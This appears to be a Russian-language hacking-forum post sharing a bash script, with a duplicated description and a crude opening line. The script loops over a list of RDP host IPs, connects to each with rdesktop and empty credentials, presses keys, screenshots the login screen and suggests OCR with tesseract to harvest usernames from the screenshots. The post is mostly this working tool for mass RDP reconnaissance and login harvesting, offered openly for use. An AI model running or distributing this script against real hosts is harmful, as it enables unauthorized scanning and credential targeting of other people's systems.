Ночь без баб и без кинца навернём мы гавнеца 
Скрипт представляет собой рабочее решение для:
Подключения к rdp
Создание скринов
Нажатия клавиш
Создание собственной логики
При небольшом апгрейде можно запускать сразу 2 окошка(да да, медленно)
Linux: rdesktop, xdotool
Скрипт представляет собой рабочее решение для:
Подключения к rdp
Создание скринов
Нажатия клавиш
Создание собственной логики
При небольшом апгрейде можно запускать сразу 2 окошка(да да, медленно)
Linux: rdesktop, xdotool
#!/bin/bash
#man xdotool список клавиш и тд.
if [ ! -d "screen" ]; then
mkdir screen
fi
IP_FILE="RDP_LOGINS_ips.txt" # как бы да
while read -r ip; do
[[ -z "$ip" ]] && continue
timeout 15s rdesktop -g 1024x768 -r sound:off -z -P -x l -a 16 -N -5 -u "" -p "" $ip &
sleep 6
win_id=$(xdotool search --onlyvisible --class rdesktop | head -1)
if [ -n "$win_id" ]; then
# Отправляем комбинацию клавиш в это окно
# Тут мутим любые комбинации которые захотим и можем после каждой делать скрины
xdotool windowactivate "$win_id"
xdotool key --window "$win_id" Return
sleep 2
import -window "$win_id" "screen/$ip.png"
sleep 2
win_id=$(xdotool search --name "rdesktop" | head -1)
pid=$(xdotool getwindowpid "$win_id")
# команда для распознования логинов, советую взять чот получше,работает но вытягивает 90% логинов правда с грязью, tesseract "$ip.png" "$ip" --psm 6 -c tessedit_char_whitelist="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" 2>/dev/null
kill "$pid"
sleep 0.5
fi
done < "$IP_FILE"
П.С. у меня все кнопки спойлеры и для кода сломались на форуме, сорян.